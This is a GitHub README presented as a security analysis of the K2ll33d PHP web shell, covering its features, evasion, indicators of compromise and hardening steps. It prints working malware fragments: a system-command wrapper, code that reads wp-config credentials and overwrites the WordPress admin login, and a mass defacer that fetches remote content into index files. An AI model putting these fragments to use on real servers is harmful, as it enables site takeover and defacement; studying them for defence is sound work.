Skip to content

Discover how K2ll33d Shell works, its dangerous capabilities, and essential protection measures to secure your web servers against this sophisticated PHP malware.

License

Notifications You must be signed in to change notification settings

RootShelll/K2LL33D-SHELL

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 

Repository files navigation

K2ll33d Shell: Analysis of a Hacking Tool 🛡️🔍

⚠️ Warning: This article is for educational purposes and security awareness only. The information provided should be used solely to protect systems and respond to security incidents in an ethical and legal manner.

What is K2ll33d Shell? 🤔

K2ll33d Shell is an advanced PHP web shell used by attackers to remotely control compromised web servers. Unlike simpler shells, this malware offers a complete graphical interface and numerous functionalities that facilitate the exploitation of vulnerable systems.

Key Features 🔑

  • 🖥️ Graphical interface: Design with menus, forms, and CSS styles
  • 📂 File navigation: Complete exploration of the file system
  • 💻 Command execution: Terminal to execute system commands
  • 🔌 CMS tools: Specific functions for WordPress and Joomla
  • 🌐 Remote connections: Bind shell, reverse shell, and Metasploit connection
  • 🔨 Hacking tools: Symlinker, mass defacer, brute forcer, etc.

How K2ll33d Shell Works 🔄

The analyzed code is an extensive PHP script (over 2000 lines) that implements multiple malicious functionalities. When loaded on a compromised server, it provides a web interface from which the attacker can control the system.

💡 Basic operation: The shell is loaded onto the server through vulnerabilities such as SQL injection, unvalidated file uploads, or compromised credentials. Once installed, the attacker accesses it through a web browser.

Using K2ll33d Shell (Technical Analysis) 🔬

The code begins with basic functions for manipulating files and executing commands:

// Function to execute system commands
function exe($cmd) {
    if(function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif(function_exists('exec')) {
        @exec($cmd,$results);
        $buff = "";
        foreach($results as $result) {
            $buff .= $result;
        } 
        return $buff;
    } elseif(function_exists('passthru')) {
        // Alternative code...
    }
}

The shell implements multiple modules accessible from its main menu:

  1. 📁 File Explorer: Allows navigation through the file system, creating, editing, deleting, and downloading files.
  2. 🖲️ Shell: Provides a terminal to execute system commands.
  3. 📤 Upload: Allows uploading files to the server from the local machine or from remote URLs.
  4. 🔗 Symlinker: Creates symbolic links to access files outside the web directory.
  5. 📝 Eval PHP: Executes arbitrary PHP code on the server.
  6. 📡 Remote Connection: Establishes bind shell or reverse shell connections.
  7. 🗄️ MySQL Manager: Interface for managing MySQL databases.
  8. 🧨 Mass Defacer: Modifies multiple files simultaneously.
  9. 🔓 Brute Force: Attacks services like FTP or cPanel using brute force.
  10. 🎯 Joomla/WordPress Tools: Specific tools to compromise these CMS.

Example of Use: Changing WordPress Credentials 🔐

The code includes a function to change WordPress admin credentials:

// Simplified fragment of the code
if ($_POST['kill']) {
    $url = $_POST['url'];
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    $pss = md5($pass);
    
    // Extract configuration information
    $config = file_get_contents($url);
    $password = enter($config,"define('DB_PASSWORD', '","');");
    $username = enter($config,"define('DB_USER', '","');");
    $db = enter($config,"define('DB_NAME', '","');");
    $prefix = enter($config,'$table_prefix  = \'',"';");
    $host = enter($config,"define('DB_HOST', '","');");
    
    // Connect to the database
    $conn = @mysql_connect($host,$username,$password);
    @mysql_select_db($db,$conn);
    
    // Update admin credentials
    $query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");
}

Evasion Techniques 🥷

K2ll33d Shell implements several techniques to evade detection:

  • 🔄 Use of multiple alternative functions when the main ones are disabled
  • 🛡️ Ability to operate in PHP's "safe_mode"
  • 🔒 Obfuscation of parts of the code using base64
  • 📡 Communication with external servers controlled by the attacker

Signs of Compromise 🚩

The following indicators may suggest that a server has been compromised with this web shell:

  • 📄 Suspicious PHP files with random names or that attempt to appear legitimate
  • 🔄 Unexpected modifications to system files
  • 📶 Unusual network traffic to unknown IP addresses
  • 📈 Unexplained increase in server resource usage
  • 👤 New administrator accounts or changes in existing user permissions

Protection Measures 🛡️

  • 🔄 Keep all software updated (CMS, plugins, themes)
  • 🔑 Implement robust password policies and two-factor authentication
  • 🔒 Configure restrictive permissions on the file system
  • 🧱 Use Web Application Firewall (WAF)
  • 👁️ Monitor file integrity with tools like Tripwire
  • ⛔ Disable dangerous PHP functions like system(), exec(), shell_exec()
  • 💾 Regularly create and verify backups

⚠️ Important: If you discover this type of code on your server, you should consider it compromised. Isolate the server, preserve evidence, remove the malware, restore from clean backups, and change all credentials before putting the system back into production.

Advanced Functionality Analysis 🔬

The shell contains several sophisticated modules for attacking different systems:

// Mass defacement function
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){
    error_reporting(0);
    ?><center><br><br><div class="mybox"><h2 class="k2ll33d2">Folder Mass Defacer</h2>
    <center/><br><center><form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>
    Folder :<br/><input class="inputz" typ=text name=path size=60 value="<?=getcwd();?>">
    <br>File Name :<br/><input class="inputz" typ=text name=file size=60 value="index.php">
    <br>index URL :<br/><input class="inputz" typ=text name=url size=60 value="">
    <br><input class="inputzbut" type=submit value=Deface></form></div></center>
    <?php @error_reporting(0);
    $mainpath=$_POST[path];
    $file=$_POST[file];
    $indexurl=$_POST[url];
    echo "<br>";
    $dir=opendir("$mainpath");
    while($row=readdir($dir)){
        $start=@fopen("$row/$file","w+");
        $code=@file_get_contents($indexurl);
        $finish=@fwrite($start,$code);
        if ($finish){
            echo "&#187; $row/$file  &#187; Done<br><br>";
        }
    }
}

Conclusion 📝

K2ll33d Shell represents a significant threat to web servers due to its versatility and powerful capabilities. Understanding how this malicious tool works is essential for implementing effective protection measures and responding appropriately to security incidents.

About

Discover how K2ll33d Shell works, its dangerous capabilities, and essential protection measures to secure your web servers against this sophisticated PHP malware.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages